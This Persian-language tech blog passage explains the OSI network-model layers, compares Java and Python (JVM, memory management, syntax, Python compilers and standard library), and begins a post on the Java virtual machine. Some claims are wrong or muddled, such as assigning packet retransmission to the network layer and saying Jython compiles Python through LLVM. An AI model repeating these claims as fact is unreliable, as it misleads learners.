      لایه شبکه  (Network layer) سومین لایه از لایه‌های هفت‌گانه مدل اتصال متقابل سامانه‌های باز (OSI) است. لایه شبکه مسئولیت ارسال بسته شامل مسیریابی از طریق روترهای واسط را بر عهده دارد. از مهم‌ترین وظایف این لایه می‌توان به کنترل عملکرد زیر شبکه، مسیریابی، کنترل گلوگاه‌ها، کیفیت سرویس‌دهی و به پیوستن شبکه‌های ناهمگن اشاره کرد. به بیان دقیق‌تر وظیفه لایه شبکه این است که چگونگی رسیدن داده‌ها به مقصد را تعیین کند. این لایه وظایفی از قبیل آدرس‌دهی، مسیریابی و پروتکل‌های منطقی را عهده‌دار است. لایه شبکه مسیرهای منطقی (Logical Path) بین مبدأ و مقصد ایجاد می‌کند که مدارهای مجازی (Virtual Circuits) نام دارند. این مدارها باعث می‌شوند که هر بسته اطلاعاتی بتواند راهی برای رسیدن به مقصدش پیدا کند. لایه شبکه همچنین وظیفه مدیریت خطا در لایه خود، ترتیب‌دهی بسته‌های اطلاعاتی و کنترل ازدحام را بر عهده دارد. ترتیب بسته‌های اطلاعاتی مهم است، زیرا هر پروتکلی برای خود یک حداکثر اندازه بسته اطلاعاتی تعریف کرده‌است. برخی اوقات پیش می‌آید که بسته‌های اطلاعاتی از این حجم تعریف شده بیشتر می‌شوند و به ناچار این‌گونه بسته‌های به بسته‌های کوچکتری تقسیم می‌شوند و برای هر کدام از این بسته‌های اطلاعاتی یک نوبت (Sequence) تعیین می‌شود تا مشخص شود کدام بسته اول، کدام بسته دوم تا این‌که بسته‌ها به طور کامل به مقصد برسند. وقتی بسته‌های اطلاعاتی در مقصد دریافت شدند، در لایه شبکه شماره بسته‌ها (Sequence Number) بررسی می‌شوند. به واسطه همین Sequence Number است که اطلاعات به حالت اولیه بازمی‌گردند و تبدیل به اطلاعات اولیه می‌شوند. در صورتی‌که یکی از این بسته‌های به درستی دریافت نشود در همان لایه شبکه از طریق چک کردن این عدد مشخص می‌شود که کدام بسته اطلاعاتی دریافت نشده‌ و دومرتبه درخواست دریافت داده‌ها ارسال می‌شود.

      لایه انتقال

      لایه انتقال وظیفه نگهداری و کنترل ریزش اطلاعات (Flow Control) را بر عهده دارد. سیستم‌عامل‌ها به کاربران اجازه می‌دهند هم‌زمان از چند نرم‌افزار استفاده کنند. همین کار در شبکه نیز انجام می‌شود. چند نرم‌افزار روی سیستم‌عامل تصمیم می‌گیرند که به صورت هم‌زمان روی شبکه اطلاعات خود را منتقل کنند. لایه انتقال اطلاعات مربوط به هر نرم‌افزار در سیستم عامل را دریافت و آن‌ها را در قالب یک رشته تکی درمی‌آورد. همچنین این لایه وظیفه کنترل خطا و همچنین تصحیح خطا در هنگام ارسال اطلاعات بر روی شبکه را نیز بر عهده دارد. به صورت خلاصه وظیفه لایه انتقال این است که از رسیدن درست اطلاعات از مبدأ به مقصد اطمینان حاصل کند، انواع پروتکل‌های اتصال گرا (Connection Oriented) و غیر اتصال‌گرا (Connection Less) در این لایه فعالیت می‌کنند.

      لایه جلسه

      وقتی داده‌ها به شکلی قابل درک برای ارسال توسط شبکه درآمدند، ماشین ارسال‌کننده بایستی یک Session با ماشین مقصد ایجاد کند. منظور از Session دقیقاً شبیه ارتباطی است که از طریق تلفن انجام می‌شود، شما برای ارسال اطلاعات از طریق تلفن حتماً بایستی با شخص مورد نظرتان تماس برقرار کنید. اینجا زمانی است که لایه نشست وارد کار می‌شود، این لایه وظیفه ایجاد، مدیریت و نگهداری و در نهایت خاتمه یک Session را با کامپیوتر مقصد بر عهده دارد. نکته جالب در خصوص لایه نشست این است که بیشتر با لایه کاربرد مرتبط است تا لایه فیزیکی، شاید فکر کنید که بیشتر Sessionها بین سخت‌افزارها و از طریق لینک‌های شبکه ایجاد می‌شوند اما در اصل این نرم‌افزارهای کاربردی هستند که برای خود Session با نرم‌افزار مقصد ایجاد می‌کنند. اگر کاربری از تعدادی نرم‌افزار کاربردی استفاده می‌کند، هر کدام از این نرم افزاها به خودی خود می‌توانند یک Session با نرم‌افزار مقصد خود برقرار کنند که هر کدام از این Sessionها برای خود یک سری منابع منحصر به فرد دارد.

      لایه نمایش

      فعالیت لایه نمایش یا Presentation تا حدی پیچیده است اما همه کارهایی که این لایه انجام می‌دهد را می‌توان در یک جمله خلاصه کرد، لایه نمایش اطلاعات را از لایه کاربرد دریافت می‌کند و در قالبی درمی‌آورد که برای لایه‌های پایینتر قابل درک باشد. همچنین برعکس این عمل را نیز انجام می‌دهد یعنی زمانی که اطلاعاتی از لایه نشست یا Session به این لایه وارد می‌شود، این اطلاعات را به گونه‌ای تبدیل می‌کند که لایه کاربرد بتواند آن‌ها را درک کرده و متوجه شود. دلیل اهمیت این لایه این است که نرم‌افزارها اطلاعات را به شیوه‌ها و اشکال مختلفی نسبت به یکدیگر بر روی شبکه ارسال می‌کنند. برای اینکه ارتباطات در سطح شبکه‌ها بتوانند برقرار شوند و به درستی برقرار شوند شما بایستی اطلاعات را به گونه‌ای ساختار دهی کنید که برای همه انواع شبکه‌ها استاندارد و قابل فهم باشد. بطور خلاصه وظیفه اصلی این لایه قالب بندی اطلاعات یا Formatting اطلاعات است. معمولاً فعالیت‌هایی نظیر رمزنگاری و فشرده سازی از وظایف اصلی این لایه محسوب می‌شود.

      لایه کاربرد

      بالاترین لایه در مدل مرجع OSI لایه کاربرد (Application) است. اولین نکته‌ای که در خصوص لایه کاربرد یا Application باید بدانید این است که به هیچ عنوان این لایه با نرم‌افزارهای کاربردی ارتباطی ندارد و صرفاً یک تشابه اسمی است. در عوض این لایه محیطی را ایجاد می‌کند که نرم‌افزارهای کاربردی بتوانند از طریق آن با شبکه ارتباط برقرار کنند. برای اینکه درک بهتری از لایه کاربرد داشته باشید فرض کنید که یک کاربر با استفاده از نرم‌افزار Internet Explorer قصد دارد از طریق پروتکل FTP یک فایل را در شبکه منتقل کند. در این مورد لایه کاربرد به وظیفه برقراری ارتباط با پروتکل FTP برای انتقال فایل را بر عهده دارد. این پروتکل به صورت مستقیم برای کاربران قابل دسترسی نیست، کاربر بایستی با استفاده از یک نرم‌افزار رابط مانند Internet Explorer برای برقراری ارتباط با پروتکل مورد نظر استفاده کند. به صورت خلاصه در تعریف کارایی این لایه می‌توان گفت که این لایه رابط بین کاربر و شبکه است و تنها قسمتی از این مدل هفت لایه‌ای است که کاربر تا حدی می‌تواند با آن ارتباط برقرار کند.

      لایه فیزیکی

      لایه فیزیکی پایین‌ترین لایه در مدل مرجع ارتباط سامانه‌های باز (OSI) است. این لایه وظیفه انتقال بیت‌ها از طریق کانال مخابراتی را بر عهده دارد. مسائل طراحی در این لایه عمدتاً از نوع فیزیکی، الکتریکی، تایمینگ و رسانه فیزیکی انتقال است. در لایه فیزیکی بسته‌ها از طریق رسانه‌های هدایت‌پذیر یا هدایت‌ناپذیر انتقال پیدا می‌کنند. زوج تابیده یکی از با قدیمی‌ترین رسانه‌های انتقال است که بر پایه انتقال ولتاژ یا آمپراژ عمل می‌کند. زوج تابیده، دو رشته سیم مسی یا آلومنیومی به هم تابیده ‌است که توسط روکشی عایق پوشانده شده‌اند. دومین مکانیزم انتقال فیبرنوری است. فیبر نوری از پالس‌های نور برای انتقال داده‌ها از طریق تارهای سیلکون بهره می‌گیرد. یک کابل فیبر نوری که کمتر از یک اینچ قطر دارد می‌تواند صدها هزار مکالمه صوتی را حمل کند. فیبرهای نوری تجاری ظرفیت ۲٫۵ تا ۱۰ گیگابایت در ثانیه را فراهم می‌سازند. فیبرنوری از چندین لایه ساخته می‌شود. درونی‌ترین لایه را هسته می‌نامند. هسته شامل یک تار کاملاً بازتاب‌کننده از شیشه خالص (معمولاً) است. هسته در بعضی از کابل‌ها از پلاستیک کاملاً بازتابنده ساخته می‌شود، که هزینه ساخت را پایین می‌آورد. با این حال، یک هسته پلاستیکی معمولاً کیفیت شیشه را ندارد و بیشتر برای حمل داده‌ها در فواصل کوتاه به کار می‌رود. فیبرنوری به دو گروه فیبر تک حالتی (یک سیگنال نوری را در هر زمان انتشار می‌دهد) و فیبر چند حالتی (صدها حالت نور را به‌طور هم‌زمان انتقال می‌دهد) تقسیم می‌شود.

      بیشتر بخوانید
      1602111842

      جاوا در برابر پایتون، قابلیت‌های برجسته این زبان‌های برنامه‌نویسی چیست؟

      نوشته شده توسط: مشهد آی سی ۰۵ آبان ۱۳۹۹ 0دیدگاه
      جاوا و پایتون دو زبان برنامه‌نویسی محبوب و پر کاربرد این روزهای دنیای فناوری هستند. به‌طور معمول، برنامه‌نویسان جاوا را یک زبان مخصوص ساخت برنامه‌های سازمانی در مقیاس بزرگ و زبانی کارآمد برای ساخت برنامه‌های اندرویدی توصیف می‌کنند. در نقطه مقابل پایتون قرار دارد که تقریبا در هر صنعتی به اشکال مختلف و به ویژه در دنیای برنامه‌نویسی الگوریتم‌های هوشمند از آن استفاده می‌شود. جالب آن‌که هر دو زبان انتخاب اول دانشگاه‌های مختلف سراسر جهان برای آموزش برنامه‌نویسی هستند و پس از آن زبان‌های دیگری همچون سی‌پلاس‌پلاس و سی شارپ آموزش داده می‌شود. در این مقاله قصد داریم به‌طور اجمالی نقاط قوت هر یک از این دو زبان را بررسی کنیم.

      جاوا یک زبان تمام نشدنی!

      جاوا، شبیه به سی‌پلاس‌پلاس است، اما مدل شیءگرایی آسان‌تری دارد و از قابلیت‌های سطح پایین کمتری پشتیبانی می‌کند. ایده شیءگرایی جاوا از زبان اسمال‌تاک گرفته شده‌ است. یکی از قابلیت‌های مهم جاوا مدیریت خودکار حافظه است. ضریب اطمینان عملکرد برنامه‌های نوشته ‌شده به این زبان نسبت به زبان‌های نسل اول همچون سی بالاتر است. برنامه‌های جاوا به بایت کد تبدیل می‌شوند و توسط ماشین مجازی جاوا (JVM) به کدهای ماشین تبدیل و اجرا می‌شوند. در صورت وجود JVM مانند سایر زبان‌های مبتنی بر آن که وابسته به سیستم‌عامل خاصی نیستند برنامه‌های نوشته شده به جاوا روی هر نوع سیستم عامل قابل اجرا هستند. شعار معروف این جاوا یک‌بار بنویس و همه‌جا اجرا کن به همین ویژگی اشاره دارد. این ویژگی جاوا را مستقل از سکو می‌نامند.

      ماشین مجازی جاوا (JVM)

      ماشین مجازی جاوا (JVM) برنامه‌ای است که بایت‌کدهای زبان جاوا را مطابق با سیستم‌عاملی خاص کامپایل کرده و آن‌ها را برای اجرا در سطح سیستم‌عامل آماده می‌کند، در حقیقت شعار اصلی زبان جاوا (یک‌بار بنویس و همه‌جا اجرا کن) با استفاده از این ماشین مجازی امکان‌پذیر شده‌است.

      برنامه‌های جاوا و اپلت‌ها

      جاوا برای نوشتن انواع برنامه‌های کاربردی مناسب است. توسعه‌دهندگان می‌توانند از زبان جاوا برای ساخت برنامه‌هایی همچون برنامه‌های تحت وب، برنامه‌نویسی سیستم‌های کوچک مانند تلفن همراه، برنامه‌های کاربردی بزرگ (Enterprise)، برنامه‌های رومیزی (Desktop) و نمونه‌های مشابه استفاده کنند. قابلیت خاصی در جاوا به نام اپلت وجود دارد. اپلت‌ها امکانات فراوانی برای نوشتن برنامه‌های تحت وب در اختیار برنامه‌نویسان قرار می‌دهند. البته وجود ماشین مجازی جاوا برای اجرای اپلت لازم است.

      اداره خودکار حافظه

      جاوا از حافظه بازیافتی خودکار برای اداره حافظه در چرخه زندگی یک شیء استفاده می‌کند. برنامه‌نویس زمانی که اشیاء به وجود می‌آیند، این حافظه را تعیین می‌کند؛ و در زمان اجرا نیز، زمانی که این اشیاء در استفاده زیاد طولانی نباشند، برنامه‌نویس مسئول بازگرداندن این حافظه‌است. زمانی که مرجعی برای شی‌های باقی‌مانده نیست، شی‌های غیرقابل دسترس برای آزاد شدن به صورت خودکار توسط بازیافت حافظه، انتخاب می‌شوند. اگر برنامه‌نویس مقداری از حافظه را برای شی‌هایی که زیاد طولانی نیستند، نگه دارد، چیزهایی شبیه سوراخ حافظه اتفاق می‌افتند. یکی از دیدگاهایی که در پس زمینه مدل اداره حافظه خودکار جاوا وجود دارد، این است که برنامه‌نویس هزینه اجرای اداره دستی حافظه را نادیده می‌گیرد. در بعضی از زبان‌ها حافظه لازم برای ایجاد یک شیء، به صورت ضمنی و بدون شرط، به پشته تخصیص داده می‌شود؛ یا به‌طور صریح اختصاص داده شده و از heap بازگردانده می‌شود. در هر کدام از این راه‌ها، مسئولیت اداره اقامت حافظه با برنامه‌نویس است. اگر برنامه شیء را برنگرداند، سوراخ حافظه اتفاق می‌افتد. اگر برنامه تلاش کند به حافظه‌ای را که هم‌اکنون بازگردانده شده، دستیابی پیدا کند یا برگرداند، نتیجه تعریف شده نیست و ممکن است برنامه بی‌ثبات شده یا تخریب شود. این ممکن است با استفاده از اشاره‌گر مدتی باقی بماند، اما سرباری و پیچیدگی برنامه زیاد می‌شود. بازیافت حافظه اجازه دارد در هر زمانی اتفاق بیفتد. به‌طوری‌که این زمانی اتفاق می‌افتد که برنامه بی‌کار باشد. اگر حافظهٔ خالی کافی برای تخصیص شیء جدید در هیپ وجود نداشته باشد، ممکن است برنامه برای چند دقیقه متوقف شود. در جایی که زمان پاسخ یا اجرا مهم باشد، اداره حافظه و منابع اشیاء استفاده می‌شوند. جاوا از نوع اشاره‌گر ریاضی C و ++C پشتیبانی نمی‌کند. در جایی که آدرس اشیاء و اعداد صحیح می‌توانند به جای هم استفاده شوند. همانند ++C و بعضی زبان‌های شی‌گرای دیگر، متغیرهای نوع‌های اولیه جاوا شی‌گرا نبودند. مقدار نوع‌های اولیه، مستقیماً در فیلدها ذخیره می‌شوند. در فیلدها (برای اشیاء) و در پشته (برای توابع)، بیشتر از هیپ استفاده می‌شود. این یک تصمیم هوشیارانه توسط طراح جاوا برای اجرا است. به همین دلیل جاوا یک زبان شی‌گرای خالص به حساب می‌آید.

      ترکیب دستوری

      گرامر جاوا محدودتر از سی پلاس پلاس است و برخلاف سی پلاس پلاس که ترکیبی است از ساختارها و شی‌گرایی، زبان جاوا یک زبان شی‌گرای خالص می‌باشد. فقط نوع داده اصلی از این قاعده مستثنی است. جاوا بسیاری از ویژگی‌ها را پشتیبانی می‌کند و از کلاس‌ها برای ساده‌تر کردن برنامه‌نویسی و کاهش خطا استفاده می‌کند.

      نمونه‌هایی از برنامه‌های جاوا

      در زیر نمونه‌ای از برنامه‌ای که در جاوا نوشته شده‌است آورده شده‌است. البته برای کامپایل کردن این برنامه بایستی JDK (کیت توسعه جاوا) روی سیستم مورد نظر نصب شده باشد.

      public class Test{

          public static void main(String[] args) {

              System.out.println(“HelloWorld!”);

      }

      }

      به‌طور مثال، برنامه Hello world در زبان جاوا به شرح زیر نوشته می‌شود:

      // HelloWorld.java

      public class HelloWorld {

          public static void main(String[] args) {

              System.out.println(“Hello, World!”);

        }

      }

      بر طبق قرارداد فایل‌ها باید هم نام کلاس‌های عمومی نام‌گذاری شوند. سپس باید پسوند java را به این صورت به نام فایل اضافه کرد: “HelloWorld.java”. این فایل اول باید با استفاده از کامپایلر جاوا به بایت کد کامپایل شود. در نتیجه فایل HelloWorld.class ایجاد می‌شود. این فایل قابل اجرا است. فایل جاوا ممکن است فقط یک کلاس عمومی داشته باشد. اما می‌تواند شامل چندین کلاس با دستیابی عمومی کمتر باشد. کلاسی که به صورت خصوصی تعریف می‌شود ممکن است در فایل.java ذخیره شود. کامپایلر برای هر کلاسی که در فایل اصلی تعریف می‌شود یک کلاس فایل تولید می‌کند؛ که نام این کلاس فایل همنام کلاس است با پسوند.class کلمه کلیدی public (عمومی) برای قسمت‌هایی که می‌توانند از کدهای کلاس‌های دیگر صدا زده شوند، به کار برده می‌شود. کلمه کلیدی static (ایستا) در جلوی یک تابع، یک تابع ایستا را که فقط وابسته به کلاس است و نه قابل استفاده برای نمونه‌هایی از کلاس، نشان می‌دهد. فقط تابع‌های ایستا می‌توانند توسط اشیاء بدون مرجع صدا زده شوند. داده‌های ایستا به متغیرهایی که ایستا نیستند، نمی‌توانند دسترسی داشته باشند.

      کلمه کلیدی void (تهی) نشان می‌دهد که تابع main هیچ مقداری را برنمی‌گرداند. اگر برنامه جاوا بخواهد با خطا از برنامه خارج شود، باید System.exit صدا زده شود. کلمه main یک کلمه کلیدی در زبان جاوا نیست. این نام واقعی تابعی است که جاوا برای فرستادن کنترل به برنامه، صدا می‌زند. برنامه جاوا ممکن است شامل چندین کلاس باشد که هر کدام دارای تابع main هستند. تابع main باید آرایه‌ای از اشیاء رشته‌ای را بپذیرد. تابع main می‌تواند از آرگومان‌های متغیر به شکل public static void main(string… args) استفاده کند که به تابع main اجازه می‌دهد اعدادی دلخواه از اشیاء رشته‌ای را فراخوانی کند. پارامترstring[] args آرایه‌ای از اشیاء رشته ایست که شامل تمام آرگومان‌هایی که به کلاس فرستاده می‌شود، است.

      کلاس‌های خاص

      اپلت جاواها برنامه‌هایی هستند که برای کاربردهایی نظیر نمایش در صفحات وب، ایجاد شده‌اند. واژه import باعث می‌شود کامپایلر جاوا کلاس‌های javaapplet.Applet وjava.awt.Graphics را به کامپایل برنامه اضافه کند. کلاس Hello کلاس Applet را توسعه می‌دهد. کلاس اپلت چارچوبی برای کاربردهای گروهی برای نمایش و کنترل چرخهٔ زندگی اپلت، درست می‌کند. کلاس اپلت یک تابع پنجره‌ای مجرد است که برنامه‌های کوچکی با قابلیت نشان دادن واسط گرافیکی برای کاربر را فراهم می‌کند. کلاس Hello تابع موروثی (print(Graphicsy را از سوپر کلاس container باطل می‌کند، برای اینکه کدی که اپلت را نمایش می‌دهد، فراهم کند. تابع paint شی‌های گرافیکی را که شامل زمینه‌های گرافیکی هستند را می‌فرستد تا برای نمایش اپلت‌ها استفاده شوند. تابع paint برای نمایش “Hello world!” تابع (drawstring(string,int,in را صدا می‌زند.

      جاوا سرولت

      فناوری servlet جاوا گسترش وب را به آسانی فراهم می‌کند؛ و شامل مکانیزم‌هایی برای توسعه تابعی سرور وب و برای دسترسی به سیستم‌های تجاری موجود است.servlet قسمتی از javaEE است که به درخواست‌های مشتری پاسخ می‌دهد.

      جاوا در مقایسه با زبان‌های برنامه‌نویسی دیگر

      جاوا یکی دیگر از گزینه‌های محبوب در سازمان‌های بزرگ است سالیان متمادی است که به همان شکل باقی مانده است. جاوا به‌طور گسترده‌ای برای ساخت برنامه‌های تحت وب در مقیاس سازمانی استفاده می‌شود و هنوز هم در فهرست محبوب‌ترین زبان‌های برنامه‌نویسی است. برنامه‌های نوشته شده با جاوا پایداری زیادی دارند، بنابراین‌، بسیاری از سازمان‌های بزرگ آن‌را به رسمیت شناخته‌اند. اگر به دنبال شغل مبتنی بر توسعه در یک سازمان بزرگ هستید ، جاوا زبانی است که شما باید یاد بگیرید. جاوا همچنین در توسعه برنامه اندروید کاربرد گسترده‌ای دارد. تقریباً هر شغلی امروز به یک برنامه اندروید نیاز دارد. با توجه به اینکه امروز میلیاردها کاربر اندروید وجود دارد و با توجه به این واقعیت که گوگل یک چارچوب عالی برای توسعه مبتنی بر جاوا – Android Studio – ایجاد کرده است ، فرصتی بزرگ برای توسعه دهندگان جاوا باز می شود.

      زبان برنامه‌نویسی پایتون

      فلسفه اصلی طراحی پایتون خوانایی بالای کدها است و نویسه‌های فاصله خالی در آن معنادار هستند و مکرر استفاده می‌شوند. ساختار زبانی و دیدگاه شیءگرا در پایتون به گونه‌ای طراحی شده‌است که به برنامه‌نویس امکان نوشتن کد منطقی و واضح (بدون ابهام) را برای پروژه‌های کوچک و بزرگ می‌دهد. کلمات کلیدی و اصلی این زبان به صورت حداقلی تهیه شده‌اند و در مقابل کتابخانه‌هایی که در اختیار کاربر است بسیار وسیع هستند. بر خلاف برخی زبان‌های برنامه‌نویسی رایج دیگر که بلاک‌های کد در آکولاد تعریف می‌شوند (به‌ویژه زبان‌هایی که از نحو زبان سی پیروی می‌کنند) در زبان پایتون از نویسه فاصله و جلو بردن متن برنامه برای مشخص کردن بلاک‌های کد استفاده می‌شود. به این معنی که تعدادی یکسان از نویسه فاصله در ابتدای سطرهای هر بلاک قرار می‌گیرند، و این تعداد در بلاک‌های کد درونی‌تر افزایش می‌یابد. بدین ترتیب بلاک‌های کد به صورت خودکار ظاهری مرتب دارند. پایتون مدل‌های مختلف برنامه‌نویسی (از جمله شی‌گرا و برنامه‌نویسی دستوری و تابع محور) را پشتیبانی می‌کند و برای مشخص کردن نوع متغیرها از یک سامانه پویا استفاده می‌کند.

      این زبان از زبان‌های برنامه‌نویسی مفسر بوده و به صورت کامل یک زبان شیءگرا است که در ویژگی‌ها با زبان‌های تفسیری پرل، روبی، اسکیم، اسمال‌تاک و تی‌سی‌ال مشابهت دارد و از مدیریت خودکار حافظه استفاده می‌کند. لازم به توضیح است که پشتیبانی از زبان پایتون ۲ رسماً در سال ۲۰۲۰ به پایان می‌رسد.

      فلسفه طراحی زبان پایتون

      پایتون یک زبان برنامه‌نویسی چند پارادایمی است به‌طوری‌که هم شیء‌گرایی و برنامه‌نویسی ساخت‌یافته را کاملاً پوشش می‌دهد و هم بسیاری از خصوصیات پایتون برنامه‌نویسی جنبه گرا و تابعی (مثل پشتیبانی از فرا برنامه‌نویس را پوشش می‌دهد. پارادایم‌های برنامه‌نویسی دیگر نیز به وسیله افزونه‌ها پشتیبانی شده‌اند. مثل برنامه‌نویسی منطقی.

      پایتون از تایپ پویا و ترکیبی از شمارش مرجع و یک حلقه کشف و بازیافت قسمت‌های هدر رفته حافظه برای مدیریت حافظه، استفاده می‌کند. یک ویژگی مهم پایتون تحلیل نام پویا است، که روش‌ها و نام متغیرها را در طول اجرای برنامه به هم ملحق می‌کند.

      به جای اینکه تمام عملکرد پایتون در هسته آن متمرکز باشد طوری طراحی شده‌است که به خوبی از افزونه‌ها پشتیبانی کند. این ویژگی پایتون که آن را محبوب کرده‌است راهی برای اضافه کردن ای پی آی به نرم‌افزارهای موجود بوده‌است. ایده فان روسوم از زبانی با هسته کوچک و کتابخانه استاندارد بزرگ با مفسر آسان توسعه پذیر، ریشه در سرخوردگی او از زبان ABC دارد.

      پایتون تلاش می‌کند تا نحو و گرامری ساده‌تر و جمع و جور تر داشته باشد و به همین دلیل برای روش‌شناسی کد فقط یک انتخاب در مقابل توسعه دهنده قرار می‌دهد. روش پایتون در مقابل روش پرل (بیش از یک روش برای انجام آن وجود دارد) قرار دارد و فلسفه طراحی آن چنین است «باید یک راه – و ترجیحاً فقط یک راه – آشکار برای انجام آن وجود داشته باشد.».

      هدف دیگر طراحی زبان آسان کردن توسعه‌پذیری است. ماژول‌هایی که تازه ساخته شده‌اند، به‌سادگی در C و C++‎ نوشته می‌شوند. پایتون همچنین می‌تواند به عنوان زبان توسعه برای ماژول‌ها و کاربردهای موجود که به برنامه واسط قابل برنامه‌ریزی نیاز دارد، استفاده شود. توسعه دهندگان پایتون سعی کردند از بهینه‌سازی زود هنگام اجتناب کنند و وصله‌های غیر حساس سی‌پایتون که باعث افزایش سرعت نهایی می‌شد را اضافه نکردند. هرگاه برای برنامه‌نویس پایتون سرعت اهمیت داشت او می‌تواند توابع زمانبر را به ماژول‌های افزونه ای ببرد و آن‌ها را به زبان‌هایی مثل سی بنویسد یا از پای‌پای استفاده کند که نوعی کامپایلر درجا است. از سایتون که اسکریپت پایتون را به سی ترجمه می‌کند نیز می‌توان استفاده کرد.

      ترکیب دستوری زبان پایتون

      پایتون در نظر دارد که زبانی بسیار خوانا باشد؛ بنابراین طرح بندی آن مرتب و بدون حشو و زوائد است، و اغلب از کلمات کلیدی انگلیسی استفاده می‌کند، در حالی که زبان‌ها دیگر از نقطه‌گذاری استفاده می‌کنند. پایتون برای جداکردن بلوک کد به جای استفاده کردن از آکولاد از تورفتگی فاصله خالی استفاده می‌کند. برای شروع بلوک کد یک پله تورفتگی را بیشتر می‌کنیم و برای اتمام آن یک پله بلوک کد را کمتر می‌کنیم. پس ساختار ظاهری برنامه نمایش دهنده ساختار معنایی آن است. این ویژگی ای که به نام قانون off-side نیز شناخته می‌شود؛ و در بعضی از زبان‌ها وجود دارد؛ ولی در بیشتر زبان‌های برنامه‌نویسی وجود تورفتگی معنای خاصی نمی‌دهد.

      کامپایلرهای همسو با پایتون ر

      چندین کامپایلر به زبان‌های سطح بالای شیء گرا وجود دارد خواه زبان مبدأ پایتون محدود نشده باشد خواه زیر مجموعه‌های محدود شده آن یا زبان‌های مشابه پایتون باشند:

      سایتون، کدهای پایتون را به سی و سی پلاس‌پلاس کامپایل می‌کند.

      IronPython از روش مشابهی استفاده می‌کند تا برنامه نوشته شده با پایتون را بر .NET. زمان اجرای زبان مشترک اجرا کند.

      جایتون امکان استفاده از کلاس‌ها کتابخانه جاوا را از زبان پایتون فراهم می‌کند.

      MyHDL پایتون را به زبان وی‌اچ‌دی‌ال کامپایل می‌کند.

      Nuitka پایتون را به C++‎ کامپایل می‌کند.

      Jython از LLVM استفاده می‌کند تا کد پایتون را به کد ماشین کامپایل کند.

      Pythran کد پایتون را به زبان C++ کامپایل می‌کند.

      RPython می‌تواند به زبان C, کامپایل شود و برای ساختن مفسر پای‌پای پایتون استفاده می‌شود.

      کتابخانه استاندارد

      پایتون یک کتابخانه استاندارد بزرگ دارد، که از آن به عنوان یکی از بزرگ‌ترین توانایی پایتون یاد می‌شود، مشروط به اینکه ابزارهای از پیش نوشته شده، با بسیاری از وظایف سازگار باشد. ماژول‌های کتابخانه استاندارد می‌توانند به شیوه ماژول‌های نوشته شده در سی یا پایتون آرگومان دهی شوند. اخیراً کتابخانه‌های C++‎ به یک کتابخانه به نام Boost.Python رشد یافته‌است، برای ایجاد قابلیت همکاری بین C++‎ و پایتون. به دلیل تنوع گسترده در ابزارهای تولید شده توسط کتابخانه استاندارد، این کتابخانه با توانایی استفاده یک زبان سطح پایین ترکیب شده، مثل C و C++‎‎، که البته به عنوان واسط بین کتابخانه‌های دیگر است، پایتون می‌تواند یک واسط قوی بین زبان‌ها و ابزارها باشد.

      کتابخانه استاندارد با تعداد زیاد فرمت‌ها و پروتکل‌هایی که حمایت می‌کند (مانند MIME و HTTP)، خصوصاً برای نوشتن علائم اینترنت مناسب است. پایتون همچنین ماژول‌هایی برای ایجاد واسط کاربر گرافیکی، اتصال به پایگاه داده رابطه‌ای، تولید اعداد شبه تصادفی، محاسبات با دقت دلخواه اعشاری،[۸۳] دستکاری عبارات با قاعده و آزمایش واحد دارد. بعضی از قسمت‌های کتابخانهٔ استاندارد همراه با توضیحاتی هستند (مثل WSGI wsgiref که پیرو PEP 333 است،  اما اکثریت ماژول‌ها این‌گونه نیستند. آن‌ها از طریق کدها، اسناد داخلی، و دنباله تست شان (اگر موجود باشد) تعیین می‌شوند. اگر چه، به دلیل اینکه کد پایتون اکثر کتابخانه‌های استاندارد، چندسکویی است، فقط ماژول‌های اندکی هستند که باید برای پیاده‌سازی‌های دیگر تغییر داده شوند یا دومرتبه نوشته شوند. پکیج‌های پایتون در زمینه‌های گوناگونی همچون خودکارسازی، آنالیز داده، پایگاه داده، پردازش تصویر، یادگیری ماشین، برنامه‌های موبایل، چندرسانه‌ای، شبکه، محاسبه علمی، مدیریت سیستم، پردازش متن، چارچوب‌های نرم‌افزاری تحت وب، Web scraping و نمونه‌های مشابه استفاده می‌شود.

      بیشتر بخوانید
      1602914238

      ‌ماشین مجازی جاوا چیست و چه کاربردی دارد؟

      نوشته شده توسط: مشهد آی سی ۰۴ آبان ۱۳۹۹ 0دیدگاه
      ماشین مجازی جاوا (Java Virtual Machine) که به صورت اختصار JVM نامیده می‌شود یکی از پر کاربردترین اصطلاحات دنیای نرم‌افزار است. ماشین مجازی جاوا یک ماشین مجازی است که به یک کامپیوتر اجازه می‌دهد برنامه‌های جاوا و برنامه‌های نوشته شده به سایر زبان‌های کامپایل شده به بایت‌کد جاوا را اجرا کند. به بیان دیگر، ماشین مجازی جاوا مجموعه‌ای مشتکل از برنامه‌های نرم‌افزاری و ساختارهای داده‌ای است که برای مدل‌سازی ماشینی مجازی و اجرای برنامه‌های سایر رایانه‌ها و اسکریپت‌های دیگر سامانه‌ها استفاده می‌شود.

      مدلی که ماشین مجازی جاوا برای اجرا می‌پذیرد، برنامه‌ها را در قالب یک زبان میانی اجرا می‌کند. به این زبان میانی جاوا بایت کد نام دارد. ماشین مجازی جاوا را می‌توان یک لایه مجازی مبیان برنامه‌های نوشته شده به زبان جاوا و سیستم‌عامل هدف توصیف کرد. البته دقت کنید که ماشین مجازی جاوا هیچ عملیاتی روی کدهای اصلی انجام نمی‌دهد، زیرا برنامه هدف ابتدا کامپایل می‌شود و در طی این فرآیند به بایت‌کد تبدیل می‌شود تا سیستم‌عامل هدف قادر به درک کدها باشد. در Ada این بایت‌کدها به ماشین مجازی تحویل داده می‌شود تا برای سیستم‌عامل‌های مختلف بهینه‌سازی شود. مهم‌ترین مزیت کامپایل سورس‌کدها و تبدیل آن‌ها به بایت‌کد در این است که می‌توان از سایر زبان‌های برنامه‌نویسی در توسعه برنامه‌های نوشته شده به زبان جاو استفاده کرد. در این حالت اگر یک زبان برنامه‌نویسی قابلیتی داشته باشد که بتوان سورس کد آن‌را در ابتدا کامایل کرد و آن‌را به بایت‌کدی قابل فهم برای جاوا تبدیل کرد، در این حالت ماشین مجازی جاوا توانایی اجرای آن بخش از کد که به زبان دیگری نوشته شده را در کنار کدهای جاوا دارد. به همین دلیل است که ماشین مجازی جاوا یکی از مهم‌ترین مولفه‌های دنیای نرمرافزار است. بایت‌کد یا همان لایه میانی، به صورتی مفهومی، مجموعه‌ای از دستورهای زبان برنامه‌نویسی مبتنی به پشته و معماری قابلیت مبتنی بر امنیت است. آمارها نشان می‌دهند که بیش از ۴ میلیارد دستگاه در جهان از ماشین مجازی جاوا استفاده می‌کنند.

